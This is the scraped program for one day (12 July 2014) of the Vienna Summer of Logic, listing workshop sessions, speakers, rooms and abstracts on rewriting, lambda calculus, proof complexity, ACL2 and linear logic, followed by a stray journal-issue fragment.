text:
VSL 2014: VIENNA SUMMER OF LOGIC 2014
PROGRAM FOR SATURDAY, JULY 12TH, 2014
Days:
previous day
next day
all days

View: session overviewtalk overview

08:45-10:15 Session 13A: LCC Opening and Invited Talk (Moser) (LCC)
Location: FH, Zeichensaal 3
08:45
LCC'14 Opening Remarks
08:50
Weighted Automata Theory for Complexity Analysis of Rewrite Systems
SPEAKER: Georg Moser

ABSTRACT. Matrix interpretations can be used to bound the derivational and  runtime  complexity  of  term rewrite  systems.   In  particular, triangular matrix  interpretations over the natural  numbers are known to induce  polynomial upper bounds  on the complexity  of (compatible) rewrite  systems.  Recently  a couple  of improvements  were proposed, based on the theory of weighted  automata and linear algebra.  In this talk we  focus on the application  of weighted automata theory  on the runtime  complexity  analysis  of  rewrite  systems  and  clarify  the connection to joint spectral radius theory.

The  talk is  based  on  joint work  with  Aart Middeldorp,  Friedrich Neurauter, Johannes Waldmann, and Harald Zankl.

09:45
Non-uniform Polytime Computation in the Infinitary Affine Lambda-calculus
SPEAKER: Damiano Mazza

ABSTRACT. We give an implicit, functional characterization of the class of non-uniform polynomial time languages, based on an infinitary affine lambda-calculus and on previously defined bounded-complexity subsystems of linear (or affine) logic. The fact that the characterization is implicit means that the complexity is guaranteed by structural properties of programs rather than explicit resource bounds. As a corollary, we obtain a proof of the (already known) P-completeness of the normalization problem for the affine lambda-calculus which mimics in an interesting way Ladner's P-completeness proof of CIRCUIT VALUE (essentially, the argument giving the Cook-Levin theorem). This suggests that the relationship between affine and usual lambda-calculus is deeply similar to that between Boolean circuits and Turing machines, opening some interesting perspectives, which we discuss.

08:45-10:15 Session 13B: Calculi (HOR)
Location: FH, Seminarraum 101C
08:45
The dynamic pattern calculus as a higher-order pattern rewriting system

ABSTRACT. We show that Jay and Kesner’s dynamic pattern calculus can be embedded into a higher-order pattern rewriting systems in the sense of Nipkow. Metatheoretical results, such as confluence and standardisation, are shown to obtain for the dynamic pattern calculus as a consequence of this embedding. The embedding also opens a way to study the semantics of Jay’s programming language Bondi based on pattern matching.

09:15
Distilling Abstract Machines

ABSTRACT. It is well-known that many environment-based abstract machines can be seen as strategies in lambda calculi with explicit substitutions (ES). Recently, graphical syntaxes and linear logic led to the linear substitution calculus (LSC), a new approach to ES that is halfway between big-step calculi and traditional calculi with ES. This paper studies the relationship between the LSC and environment-based abstract machines. While traditional calculi with ES simulate abstract machines, the LSC rather distills them: some transitions are simulated while others vanish, as they map to a notion of structural congruence. The distillation process unveils that abstract machines in fact implement weak linear head reduction, a notion of evaluation having a central role in the theory of linear logic. We show that such a pattern applies uniformly in call-by-name, call-by-value, and call-by-need, catching many machines in the literature (as the KAM, the CEK, the ZINC, etc.), we show that distillation preserves the time complexity of the executions, i.e., the LSC is a complexity-preserving abstraction of abstract machines.

09:45
Experience with Higher Order Rewriting from the Compiler Teaching Trenches

ABSTRACT. I have now twice used the “HACS” compiler generator tool in a New York Univ. graduate Com- piler Construction class. HACS is based on a higher-order rewriting formalism, thus I have effectively been teaching students higher order rewriting techniques as the way to implement compilers. In this talk I report on how HACS matches specific rewriting notions to the tech- niques used by compiler writers, and where the main difficulties have been encountered in teaching these.

09:00-10:15 Session 14: Improvements to ACL2 (ACL2)
Location: FH, Hörsaal 7
09:00
Industrial-Strength Documentation for ACL2
SPEAKER: Jared Davis

ABSTRACT. The modeling tools, specifications, and proof scripts for an industrial formal verification effort can easily reach hundreds of thousands of lines of source code. High quality documentation is vital for teams that are working on projects of this scale. We have developed a flexible, scalable docu- mentation tool for ACL2 that can incorporate the documentation for the ACL2 theorem prover, the Community Books, and an organization’s internal formal verification projects. The resulting manuals are automatically accurate and current, and are easily deployed throughout an organization.

09:30
Enhancements to ACL2 in Versions 6.2, 6.3, and 6.4
SPEAKER: Matt Kaufmann

ABSTRACT. We report on improvements to ACL2 made since the 2013 ACL2 Workshop.

09:10-10:15 Session 15: Lambda Calculus (SD)
Location: FH, Zeichensaal 1
09:10
Opening Remarks
SPEAKER: unknown

ABSTRACT. Welcome to the Third International Workshop on Structures and Deduction.

09:15
Simply Typed Lambda-Calculus Modulo Type Isomorphisms
SPEAKER: Gilles Dowek

ABSTRACT. In this talk, I will present an extension of simply-typed lambda-calculus where isomorphic types are identified. This requires to introduce new reduction rules, some of which are non deterministic. The normalization of this system is a non-trivial adaptation of the reducibility method.

Joint work with Alejandro Díaz-Caro

10:15-10:45Coffee Break
10:45-12:00 Session 16A: PC Opening and Invited Talk (Pavel Pudlak) (PC)
Location: FH, Seminarraum 101B
10:45
Opening
11:00
On Some Conjectures in Proof Complexity
SPEAKER: Pavel Pudlák

ABSTRACT. Our aim is to study conjectures that are somehow connected with consistency and/or incompleteness of first order theories. We want to fully understand (1) how far we can go by considering stronger and stronger conjectures and (2) whether the system of conjectures splits into incomparable ones or there there are always stronger unifying conjectures. Currently the conjectures that we have can be classified into two levels - uniform and nonunifom, and two directions - universal and existential. We still hope to be able to find a stronger unifying conjecture.

10:45-12:45 Session 16B: Contributed Talks (LCC)
Location: FH, Zeichensaal 3
10:45
Towards recursion schemata for the probablistic class PP

ABSTRACT. We propose a recursion-theoretic characterization of the probabilistic class PP, using recursion schemata with pointers.

11:15
Closing a Gap in the Complexity of Refinement Modal Logic

ABSTRACT. Refinement Modal Logic (RML), which was recently introduced by Bozzelli et al., is an extension of classical modal logic which allows one to reason about a changing model. In this paper we study computational complexity questions related to this logic, settling a number of open problems. Specifically, we study the complexity of satisfiability for the existential fragment of RML, a problem posed by Bozzelli, van Ditmarsch and Pinchinat. Our main result is a tight PSPACE upper bound for this problem, which we achieve by introducing a new tableau system. As a direct consequence, we obtain a tight characterization of the complexity of the existential fragment of RML satisfiability.

11:45
On the Complexity of Symbolic Verification and Decision Problems in Bit-Vector Logic

ABSTRACT. We study the complexity of decision problems encoded in bit-vector logic. This class of problems includes word-level model checking, i.e., the reachability problem for transition systems encoded by bit-vector formulas. Our main result is a generic theorem which determines the complexity of a bit-vector encoded problem from the complexity of the problem in explicit encoding. In particular, NL-completeness of graph reachability directly implies PSPACE-completeness and EXPSPACE-completeness for word-level model checking with unary and binary arity encoding, respectively. In general, problems complete for a complexity class C are shown to be complete for an exponentially harder complexity class than C when represented by bit-vector formulas with unary encoded scalars, and further complete for a double exponentially harder complexity class than C with binary encoded scalars.We also show that multi-logarithmic succinct encodings of the scalars result in completeness for multi-exponentially harder complexity classes. Technically, our results are based on concepts from descriptive complexity theory and related techniques for OBDDs and Boolean encodings.

12:15
First-Order Logic of Order and Metric has the Three-Variable Property

ABSTRACT. Real-time specifications refer both to order-theoretic and metric temporal properties. A natural framework for such specifications is monadic first-order logic over the ordered real line with unary +1 function. Our main result is that this structure has the 3-variable property---every monadic first-order formula with at most 3 free variables is equivalent to one that uses 3 variables in total. As a corollary we obtain also the 3-variable property for certain unary arithmetic functions in place of +1. As a negative example we exhibit a bijection on the reals such that the resulting structure does not have the k-variable property for any k.

10:45-13:00 Session 16C: Datatypes and machine learning (ACL2)
Location: FH, Hörsaal 7
10:45
Experiments with TPTP-style Automated Theorem Provers on ACL2 Problems
SPEAKER: unknown

ABSTRACT. We present first experiments with translating ACL2 problems to TPTP and running TPTP-style ATPs on such problems.

11:15
Polymorphic Types In ACL2
SPEAKER: unknown

ABSTRACT. This paper describes a tool suite for the ACL2 programming language which incorporates certain ideas from the Hindley-Milner paradigm of functional programming (as manifested in popular languages like ML and Haskell), including a "typed" style of programming with the ability to define polymorphic types. These ideas are introduced via macros into the language of ACL2, taking advantage of ACL2's guard-checking mechanism to perform type checking on both function definitions and theorems. Finally, we discuss how these macros can be used to implement features of a high-level software specification and implementation language. (citation Specware/Kestrel)

11:45
Data Definitions in ACL2 Sedan

ABSTRACT. We present a data definition framework that supports a wide variety of specifying (classifying) new'' data types from existing types. A distinguishing feature of our approach is that we maintain both a analytic (recognizer/predicate function) and synthetic (enumerator function) characterization of a data definition. We describe the syntax and semantics of our interfacing macros (\p{defdata} et al). The \p{defdata} language concisely captures common data definition patterns, e.g. list types, map types, record types, and installs theories raising the level of automation for reasoning about such types (and associated functions). It also provides support for polymorphic functions, by using the advanced ACL2 features of \p{encapsulate} and functional instantiation, without exposing them to the user. We give a complete characterization (in terms of tau-rules) of the inclusion/exclusion relations a \p{defdata} type definition induces. We present a number of examples illustrating usage of \p{defdata}. The data definition framework has been implemented as a component of counterexample generation support in ACL2 Sedan, but can be independently used, and is available, as a community book.

12:15
ACL2(ml): Machine-Learning for ACL2
SPEAKER: unknown

ABSTRACT. ACL2(ml) is an extension for the Emacs interface of ACL2. It uses machine-learning to help the ACL2 user during the proof-development. ACL2(ml) gives hints to the user in the form of families of similar theorems, and generates auxiliary lemmas automatically. In this paper, we present the two most recent extensions for ACL2(ml). First, ACL2(ml) can suggest families of similar definitions, in addition to the families of similar theorems. Second, the lemma generation tool has been improved with a method to generate preconditions based on the guard mechanism of ACL2. The user of ACL2(ml) can also invoke directly the latter extension to obtain preconditions for his conjectures.

10:45-12:00 Session 16D: Foundations (HOR)
Location: FH, Seminarraum 101C
10:45
The Higher-order Dependency Pair Framework
SPEAKER: Cynthia Kop

ABSTRACT. In recent years, two different dependency pair approaches have been introduced: the dynamic and static styles. The static style is based on a computability argument, and is limited to plain function-passing systems. The dynamic style has no limitations, but standard techniques to simplify sets of dependency pairs – such as the subterm criterion and usable rules – are not applicable. The basic reduction pair technique is also significantly weaker than in the static case. On the other hand, when the system is left-linear and left-abstraction-free, we can significantly improve the dynamic approach. In this talk, I will discuss how to combine the dynamic and static styles in a single dependency pair framework, extending the various notions from the first-order dependency pair framework.

11:15
Feebly not weakly

ABSTRACT. Some rewrite systems are not orthogonal, in that they do have critical peaks, but are very close to being orthogonal, in that for any given object there exists a partial function, called orthogonalisation, mapping the set of all redexes to an orthogonal subset and every multi-step to an equivalent one. Term rewrite systems having only trivial peaks, so-called weakly orthogonal systems with the lambda-beta-eta-calculus as prime example, are known to admit such an orthogonalisation. Here we characterise the term rewrite systems that admit orthogonalisation as those whose critical peaks are feeble, in that at least two out of the three terms in such a peak must be identical (generalising weak orthogonality).

11:45
Report from the HOR 2014 Chair & Discussion
10:45-12:45 Session 16E: Sequent Calculus and Proof Nets (SD)
Location: FH, Zeichensaal 1
10:45
Completions and the Schuette method

ABSTRACT. The cut-elimination theorem of Gerhard Gentzen is one of the most beautiful and useful theorems in structural proof theory. For certain logics there is an algebraic view on cut-elimination in which this property is proved via completions of certain semi-algebraic structures corresponding to cut-free sequent calculi. There is, however, for intuitionistic propositional logic another way to obtain Heyting algebras refuting an underivable sequent, the so-called Schuette method. We describe this method and compare it to the method of producing algebras via completions.

11:45
A Correctness Criterion Free from Switchings
SPEAKER: unknown

ABSTRACT. We present a new correctness criterion for Multiplicative Linear Logic (MLL) proof nets. Our criterion generalizes a criterion recently introduced by Mogbil and Jacobé de Naurois in order to characterize the space complexity of the correctness problem for M(E)LL: while the Mogbil-Naurois criterion relies on a single switching, our criterion completely abstracts from the notion of switchings.

This is done in two steps. First we define dependency graphs on proof nets rather than correction graphs, as in Mogbil-Naurois, making them switching-independent. Then, we partition our criterion in two parts: one part deals exclusively with tensor, axiom and cut inferences while the other one deals with the structure of par inferences by requiring dependency graphs to be acyclic flowgraphs (or SDAG). We finally compare both notions of dependency graphs.

12:15
First-order Proofs Without Syntax: Summary of Work in Progress

ABSTRACT. "...mathematicians care no more for logic than logicians for mathematics." - Augustus de Morgan, 1868

Formal proofs are traditionally syntactic, build inductively from symbolic inference rules. This paper reformulates classical first-order logic with proofs which are combinatorial rather than syntactic. A *combinatorial proof* of a formula F is a graph on a variant formula F′ which satisfies geometric properties. For example, an edge between the two Ps in ∀xPx ⇒ ∃x∀yPy constitutes a combinatorial proof of ∃x(Px ⇒ ∀yPy).

Combinatorial proofs provide a canonical abstraction of Gentzen’s sequent calculus LK: (a) the correctness of a combinatorial proof can be verified in polynomial time (conjectured linear), and (b) there is a function from LK proofs to combinatorial proofs which identifies many LK proofs.

This paper summarizes ongoing work on a sequel to Proofs Without Syntax [Annals of Mathematics, 2006], which introduced propositional combinatorial proofs.

12:00-13:00 Session 17A: HOR/WIR Invited Talk (HOR and WIR)
Location: FH, Seminarraum 101C
12:00
On Infinitary Affine Lambda-Calculi
SPEAKER: Damiano Mazza

ABSTRACT. We summarize recent work based on affine lambda-calculi which brings together some aspects of infinitary and higher-order rewriting. In particular, we discuss three points: the relationship with the (infinitary) lambda-calculus; the categorical perspective, which gives a way of building models of linear logic; and the applications to implicit computational complexity, in particular the possiblity of representing non-uniform polytime computation in a functional, higher-order setting.

12:00-13:00 Session 17B: Contributed Talks: SAT and QBF (PC)
Location: FH, Seminarraum 101B
12:00
Size-Space Bounds and Trade-offs for CDCL Proofs
SPEAKER: Marc Vinyals

ABSTRACT. A long line of research has shown that conflict-driven clause learning viewed as a proof system can polynomially simulate resolution. We give a more explicit description of this CDCL proof system, which allows us to define proof size and space in a natural way and also capture aspects such as clause learning schemes and restart policies. This in turn makes it possible to study which upper and lower bounds on size, space and size-space trade-offs in general resolution carry over to proofs actually realizable by CDCL solvers.

12:30
Beyond Q-Resolution and Prenex Form: A Proof System for Quantified Constraint Satisfaction
SPEAKER: Hubie Chen

ABSTRACT. We consider the quantified constraint satisfaction problem (QCSP) which is to decide, given a structure and a first-order sentence (not assumed here to be in prenex form) built from conjunction and quantification, whether or not the sentence is true on the structure. We present a proof system for certifying the falsity of QCSP instances and develop its basic theory; for instance, we provide an algorithmic interpretation of its behavior. Our proof system places the established Q-resolution proof system in a broader context, and also allows us to derive QCSP tractability results.

13:00-14:30Lunch Break
14:30-15:30 Session 18A: Invited Talk (Jakob Nordström) (PC)
Location: FH, Seminarraum 101B
14:30
A (Biased) Survey of Space Complexity and Time-Space Trade-offs in Proof Complexity

ABSTRACT. This presentation is intended as a survey of results on proof space and time-space trade-offs in proof complexity. We will try to provide some proof sketches to give a flavour of the proof methods used, but also explain the limitations of current techniques and state some tantalising problems that remain open.

14:30-16:00 Session 18B: Invited Talk (Buss) and Contributed Talks (LCC)
Location: FH, Zeichensaal 3
14:30
Search problems, proof complexity, and second-order bounded arithmetic
SPEAKER: Sam Buss

ABSTRACT. This talk will discuss NP search problems, in particular based on the local improvement principles, in second-order bounded arithmetic.  The bounded arithmetic theory U-1-2 captures exactly the polynomial space computable functions and predicates.  It can formalize Savitch's theorem on non-deterministic space, and universal theorems in U-1-2 translate to quasipolynomial size Frege proofs.  The theory V-1-2 plays a similar role for exponential time computable functions and predicates, and quasipolynomial size extended Frege proofs.

The local improvement principles, first introduced by Kolodziejczyk, Nguyen, and Thapen, are a class of total NP search problems.   The talk discusses sharpened results for characterizing the power of various local improvement principles, giving completeness results for a broader range of search problems.

Most of the new results reported in this talk are joint with A. Beckmann.

15:30
Infinite AC0 Circuits for Parity

ABSTRACT. For arbitrary $d,k \in \N$, we consider a first-order theory $T$ of $\AC^0$ circuits of depth $d$ and size $n^k$ which compute a parity function'' where $n$ is a possibly infinite number of boolean variables. The theorem $\PARITY \notin \AC^0$ is directly equivalent to the statement that $T$ does not possess arbitrarily large finite models for all $d,k$. A slighter stronger theorem---which follows from derandomization results of Agrawal \cite{agrawal2001towards}---shows that $T$ has no pseudofinite model which includes a $\BIT$ predicate. However, unlike the theories of $\AC^0$ studied in proof complexity (which are typically formulated within Peano Arithmetic), models of $T$ are not necessary pseudofinite. In fact, the main purpose of this paper is to address the question: does $T$ have {\em any} infinite model? A negative answer would be very interesting, as $\PARITY \notin \AC^0$ would follow directly via the Compactness Theorem without recourse to finite combinatorics.

Unfortunately, our main result shows this initial hope was too optimistic: we construct an infinite model of $T$ for some $d,k$ (unpublished joint work with Saharon Shelah). This counterexample leads us to consider a stronger theory, $T^<$, which augments $T$ by a linear order and axioms expressing that every definable set has a minimal element. We also consider a stricter notion of {\em definable parity function} along the lines of Ajtai \cite{ajtai1995existence}. This theory $T^<$ appears to defeat counterexamples based on symmetry. We leave it as an intriguing open question whether or not $T^<$ has any infinite model. Here again a negative answer would yield a non-combinatorial proof of $\PARITY \notin \AC^0$.

14:30-16:00 Session 18C: Keynote Mike Gordon (ACL2)
Location: FH, Hörsaal 7
14:30
Linking ACL2 and HOL: past achievements and future prospects
SPEAKER: Mike Gordon

ABSTRACT. Over the years there have been several attempts to obtain the amazing automation and efficiency of ACL2 theorem proving within various versions of the HOL proof assistant. These include building a Boyer-Moore waterfall as a tactic, dynamically linking to ACL2 using the PROSPER Plug-In Interface and, most recently, embedding the ACL2 logic in the HOL logic and then using ACL2 as an trusted oracle. These activities have differed in goals and methods, e.g. placing different emphases on useability, efficiency and logical coherence. The talk will start with a critical historical overview, and will end with thoughts on possible future projects.

14:30-16:00 Session 18D (WIR)
Location: FH, Seminarraum 101C
14:30
Dynamical systems, attractors and well-behaved infinitary rewriting
15:00
From the finite to the transfinite: Λμ-terms and streams.
SPEAKER: unknown
15:30
Normal Forms and Infinity
SPEAKER: unknown
14:30-16:00 Session 18E: Algebra and Topology (SD)
Location: FH, Zeichensaal 1
14:30
Proof theory for ordered algebra: amalgamation and densification

ABSTRACT. Proof theory plays only a limited role in the context of superintuitionistic/substructural logics. We certainly have cut elimination, disjunction property, Herbrand's theorem, interpolation and density elimination. But is there anything else? Our purpose is to find further applications of proof theory by making it directly act on algebras (Heyting/FL algebras) rather than on syntactic formulas and proof systems.

It is well known that a superintuitionistic logic enjoys the interpolation property if and only if the corresponding variety of Heyting algebras enjoys the amalgamation property. This means that a proof theoretic method for interpolation (Maehara's Lemma) potentially has an effect of constructing an amalgam in the context of Heyting algebras. Likewise, a proof theoretic method for eliminating the density rule in the hypersequent calculus has an effect of densifying a given Heyting/FL chain.

In this talk, we will illustrate such direct applications of proof theory to Heyting/FL algebras. Specifically, we will explain how Maehara's lemma and the density elimination theorem can be construed as algebraic constructions for amalgamation and densification.

15:30
Weak topologies for Linear Logic
SPEAKER: Marie Kerjean

ABSTRACT. We construct a categorical model of Linear Logic, whose objects are all the locally convex and separated topological vector spaces endowed with their weak topology. Linear proofs are interpreted as continuous linear functions, and non-linear proofs as sequences of monomials. The duality in this interpretation of Linear Logic does not come from an orthogonality relation, thus we do not complete our constructions by a double-orthogonality operation. This yields into an interpretation of polarities with respect to weak topologies.

14:30-16:00 Session 18F (2FC)
Location: FH, Dissertantenraum E104
14:30
A cubical representation of local states
ABSTRACT.
In this talk, I will explain how imperative programs with local stores may be represented
as cubes living inside types themselves represented as cubical sets. I will illustrate
with a few examples how this geometric representation of programs with states
should help us to reason about resource allocation and deallocation in imperative programs.
This is joint work with Kenji Maillard.
15:00
Computational complexity in the lambda-calculus: what's new?
SPEAKER: Damiano Mazza

ABSTRACT. The lambda-calculus  models computation via  substitution, an abstract
notion  whose concrete  meaning in  terms of  elementary computational
steps is unclear a priori.  As  a consequence, the model of choice for
computational complexity  is usually some variant  of Turing machines,
even  in  the higher-order  case  (which  seems  regretful, given  the
functional nature of the  lambda-calculus).  In recent years, a number
of tools related to  linear logic (proof nets, explicit substitutions,
linear calculi)  have provided  us with a  finer understanding  of the
substitution  process, offering new  perspectives on  the relationship
between lambda-calculus and computational complexity.  In this talk, I
will survey three specific  cases: Accattoli and Dal Lago's invariance
result  for beta-reduction;  an ongoing  work by  Dal Lago  and myself
proposing a new formulation  of higher-order complexity entirely based
on  a lambda-calculus;  and some  of my  results and  ongoing  work on
characterizing non-uniform circuit  complexity classes with infinitary
lambda-terms.

15:30
On the parallel reduction and complexity of interaction-net systems

ABSTRACT. Interaction  nets form  an inherently  parallel computation  model. We
approach complexity  analysis of interaction-net  systems using typing
and semantic interpretation techniques.

15:30-16:00 Session 19: Contributed Talk: Polynomial Calculus (PC)
Location: FH, Seminarraum 101B
15:30
Towards an Understanding of Polynomial Calculus: New Separations and Lower Bounds
SPEAKER: Marc Vinyals

ABSTRACT. Recently, an active line of research has been into the space complexity of proofs. We prove that if a formula requires large resolution width, then making XOR substitution yields a formula requiring large PC space. This yields formulas that exhibiting a degree-space separation similar to what is known for resolution. Using related ideas, we show that Tseitin formulas over random 4-regular graphs almost surely require space at least Ω(√n).

Our proofs use techniques from [Bonacina-Galesi '13]. Our final contribution, however, is to show that these techniques cannot yield non-constant space lower bounds for the functional pigeonhole principle, which is conjectured to be hard for PC space.

16:00-16:30Coffee Break
16:30-18:00 Session 20A: Contributed Talks: Bounded Arithmetic (PC)
Location: FH, Seminarraum 101B
16:30
Provably Total Search Problems in Fragments of Bounded Arithmetic Below Polynomial-time

ABSTRACT. In bounded arithmetic, a host of theories have been developed which correspond to complexity classes within the polynomial
hierarchy and below polynomial-time. Recent research has tried to characterize the provably total NP search problems
in such theories, where a total NP search problem is provably total in a theory T if it can be formalized in the language of T, and T can prove that, for each instance, there exists a solution to the search problem. For example, Buss and Krajcek showed that the class of provably total NP search problems in a certain bounded arithmetic theory (denoted T12 or  TV1) is characterized by PLS. Further characterizations for theories above T12 were later discovered. To the best of our knowledge, no such characterizations are known for the theories below T12 until this work.

Given a class S of provably total NP search problems for some theory, the general aim of our research project is to identify some specific provably total NP search problem class (usually defined via some specific combinatorial principle) which is complete within S under AC0-many-one reduction; completeness should be proven using AC0-reasoning only, i.e. formalizable in V0. For example, it was shown by Cook and Nguyen that PLS, where the neighborhood function and the initial point are given by AC0-functions, is complete in the above sense for the class of provably total NP search problems in T12.

For the theory related to polynomial-time, we identify the search problem class Inflationary Iteration (IITER) which serves our above described aim. A function F (defined on finite strings) is inflationary if X is a subset of F(X) (under the natural identification of strings with finite sets). An IITER principle is defined as a special case of the iteration principle, in which the iterated function has to be AC0-computable and inflationary.

Cook and Nguyen have a generic way of defining a bounded arithmetic theory VC for complexity classes C below polynomial-time. For such theory VC, we define a search problem class KPT[C] which serves our above described aim. These problems are based on a version of Herbrand's theorem proven by Krajicek, Pudlak and Takeuti.

17:00
Parameter-free induction in bounded arithmetic

ABSTRACT. In the area of strong fragments of Peano Arithmetic, it proved fruitful to study not just the usual induction fragments IΣi, but also fragments axiomatized by parameter-free induction schemata, and theories axiomatized using the closely related induction inference rules.

In contrast, induction rules and parameter-free schemata have been largely ignored in bounded arithmetic literature. Apart from IEi- briefly discussed by Kaye (1990), the corresponding fragments of Buss's S2 were only studied by Bloch (1992) and Cordon-Franco et al. (2009). Many basic questions about these fragments were disregarded, in particular, neither paper even mentions Πbi-induction rules and parameter-free schemata, despite that they could be expected to behave rather differently from Σbi-rules by analogy with the case of strong fragments.

In this talk, we will try to systematically investigate parameter-free and inference rule versions of the theories Ti2 and Si2. We will particularly focus on the following questions:

• Reductions between the various rules and schemata.
• Conservativity results between the fragments, and the formula complexity of axioms.
• The number of instances (nesting) of R needed to generate the closure T+R, and finite axiomatizability of fragments.
• Reformulation of axioms and rules in terms of reflection principles for propositional proof systems.
• Conditional or relativized separations between the fragments.
17:30
Logical strength of complexity theory and a formalization of the PCP theorem in bounded arithmetic
SPEAKER: Ján Pich

ABSTRACT. The aim of this presentation is to show that a lot of complexity theory can be formalized in low fragments of arithmetic like Cook's theory PV1. We present several known formalizations of theorems from computational complexity in bounded arithmetic and formalize the PCP theorem in the theory PV1 (no formalization of this theorem was known). This includes a formalization of the existence and of some properties of the (n,d,λ)-graphs needed to derive the PCP theorem in PV1.

16:30-18:00 Session 20B: Contributed Talks (LCC)
Location: FH, Zeichensaal 3
16:30
Descriptive Complexity and CSP

ABSTRACT. We give a common generalization of two theorems from Descriptive Complexity: 1) the Immerman-Vardi theorem, which says that over linearly ordered structures, the logic LFP+C captures PTime and 2) the Cai-Fürer-Immerman theorem, which says that over all finite structures, the logic LFP+C does not capture PTime. Our generalization relies on a connection with Constraint Satisfaction Problems and recent results from CSP theory. The results presented in this abstract are extracted from a paper [KLOT14] accepted to LICS’14.

17:00
Capturing Bisimulation-Invariant Complexity Classes with Higher-Order Modal Fixpoint Logic
SPEAKER: Etienne Lozes

ABSTRACT. Polyadic Higher-Order Fixpoint Logic (PHFL) is a modal fixpoint logic obtained as the merger of Higher-Order Fixpoint Logic (HFL) and the Polyadic $\mu$-Calculus. Polyadicity enables formulas to make assertions about tuples of states rather than states only. Like HFL, PHFL has the ability to formalise properties using higher-order functions. We consider PHFL in the setting of descriptive complexity theory: its fragment using no functions of higher-order is exactly the Polyadic $\mu$-Calculus, and it is known from Otto's Theorem that it captures the bisimulation-invariant fragment of PTIME. We extend this and give capturing results for the bisimulation-invariant fragments of EXPTIME, PSPACE, and NLOGSPACE.

17:30
Small Dynamic Descriptive Complexity Classes
SPEAKER: Thomas Zeume

ABSTRACT. In this talk I will give an overview over results recently obtained for small complexity classes in the dynamic descriptive complexity framework of Patnaik and Immerman. Those results are joint work with Thomas Schwentick and include a hierarchy of dynamic fragments as well as new lower bounds for the quantifier-free fragment.

16:30-19:00 Session 20C: Economics, Rump Sessions and Business Meeting (ACL2)
Location: FH, Hörsaal 7
16:30
On Vickrey's Theorem and the Use of ACL2 for Formal Reasoning in Economics
SPEAKER: unknown

ABSTRACT. The ForMaRE project (\textbf{for}mal \textbf{ma}thematical \textbf{r}easoning in \textbf{e}conomics) is an interdisciplinary effort with the goal of increasing confidence in theoretical results in economics. In a nutshell, the idea is to find suitable automated reasoning platforms for reasoning about economic theory. This requires collaboration among economists and formal methodists, but in an ideal world, the automated reasoning platforms will become sufficiently advanced that economists can use them directly. As such, researchers in the ForMaRE project recently analyzed the suitability of four different automated reasoning platforms for this project: Isabelle, Theorema, Mizar, and Hets/CASL/TPTP. A major portion of the analysis was the formalization in each of these systems of Vickrey's theorem on the equilibrium and efficiency of second-price auctions. Conspicuously absent from the list of theorem provers considered is ACL2. This paper describes our attempt to rectify this oversight.

16:30-18:00 Session 20D: WIR Contributed Talks (WIR)
Location: FH, Seminarraum 101C
16:30
An Introduction to the Clocked Lambda Calculus
SPEAKER: unknown
17:00
Work in Progress: Algebraic Abstract Reduction Systems

ABSTRACT. Several extensions of the lambda-calculus allow to rewrite a term into a linear combination of terms taking coefficients in the ring of non-negative real numbers. The goal of this work is to define a notion of algebraic rewrite system abstracting away these calculi. In particular, we look for a notion of normalization induced by a rewriting compatible with the semi-ring structure and the usual topology on non-negative reals. The goal is to achieve a kind of Newman's lemma: "strong normalization together with local confluence implies confluence". We state the formal definitions and show how a (naïve) expected implication fails short with several non-trivial examples.

17:30
Turtle graphics of morphic streams
SPEAKER: Hans Zantema
16:30-17:30 Session 20E: Normalisation and Ludics (SD)
Location: FH, Zeichensaal 1
16:30
Substructural Cut Elimination

ABSTRACT. In the paper Structural Cut Elimination'', Pfenning gives a proof of the admissibility of cut for intuitionistic and classical logic. The proof is remarkable in that it does not rely on difficult termination metrics, but rather a nested lexicographical induction on the structure of formulas and derivations. A crucial requirement for this proof to go through is that contraction is not an inference rule of the system. Because of this, it is necessary to change the inference rules so that contraction becomes an admissible rule rather than an inference rule. This change also requires that weakening is admissible, hence it is not directly applicable to logics in which only contraction is admissible (e.g. relevance logic).

We present a sequent calculus which admits a unified structural cut elimination proof that encompasses Intuitionistic MALL and its affine, strict and intuitionistic extensions. A nice feature of the calculus is that, for instance, moving from linear to strict logic is as simple as allowing the presence of a rule corresponding to contraction.

17:00
Multiplicative Decomposition of Behaviours in Ludics
SPEAKER: unknown

ABSTRACT. Ludics is a theory that may be considered, at first glance, as a Brouwer-Heyting- Kolmogorov interpretation of Logic as a formula is denoted by the set of its proofs. More primitively, Ludics is a theory of interaction that models (a variant of) secondorder multiplicative-additive Linear Logic. A formula is denoted by a set of objects called a behaviour, a proof by an object that satisfies some criteria. Our aim is to analyze the structure of behaviours in order to better understand and refine the usual notion of formula or type. More precisely, we study properties that guarantee a behaviour to be multiplicatively decomposable.

16:30-18:00 Session 20F (2FC)
Location: FH, Dissertantenraum E104
16:30
On the Value of Variables

ABSTRACT. Call-by-value  and call-by-need lambda-calculi  are defined  using the
distinguished  syntactic category of  values. In  theoretical studies,
values are variables and abstractions. In more practical works, values
are  usually defined  simply as  abstractions. This  paper  shows that
practical   values    lead   to   a   more    efficient   process   of
substitution---for  both  call-by-value  and  call-by-need---once  the
usual hypothesis for implementations hold (terms are closed, reduction
does  not go  under abstraction,  and  substitution is  done in  micro
steps,  replacing one variable  occurrence at  the time).  Namely, the
number  of  substitution  steps   becomes  linear  in  the  number  of
beta-redexes, while theoretical values only provide a quadratic bound.

17:00
Automated Complexity Analysis of Term Rewrite Systems

ABSTRACT. TcT, the Tyrolean complexity tool, is a tool for automatically proving
polynomial upper  bounds on the  runtime complexity of  term rewriting
systems.  In  this talk, I  will briefly outline the  formal framework
and main techniques underlying TcT.

17:30
Subrecursive Linear Dependent Types and Computational Security
SPEAKER: Ugo Dal Lago

ABSTRACT. Various techniques  for the complexity analysis of  programs have been introduced in the last twenty years, spanning from type systems, to abstract interpretation, to path orders. A peculiar approach consists in adopting linear dependent types, which have been proved to be a relative complete methodology for complexity analysis. We here study linear dependency in a subrecursive setting, where recursion is structural. On the one hand, we show that linear dependent types are robust enough to  be adaptable, by way of effects, to a language with imperative features. On the other, we show the obtained system to be enough powerful to type nontrivial examples drawn from computational security, which is the driving motivation for this work.

18:15-19:15 Session 21 (2FC)
Location: FH, Dissertantenraum E104
18:15
Proof theoretic approaches to rewriting
SPEAKER: Thomas Powell

ABSTRACT. A  key method  for establishing  the  termination or  complexity of  a
program in some high level language is to capture its salient features
in an abstract  rewrite system which can then  be analysed separately.
In this talk  I will discuss some of the  deep links between rewriting
theory  and  classical  proof   theory,  in  particular  how  powerful
techniques from proof  theory can be used to  derive the complexity of
rewrite systems and  shed light on well-known tools  such as recursive
path orderings.  My aim is  ultimately to present some proof theoretic
ideas for understanding and analysing rewrite systems.


text:
#### Vol. 12, No. 9, 2018

 Recent Issues
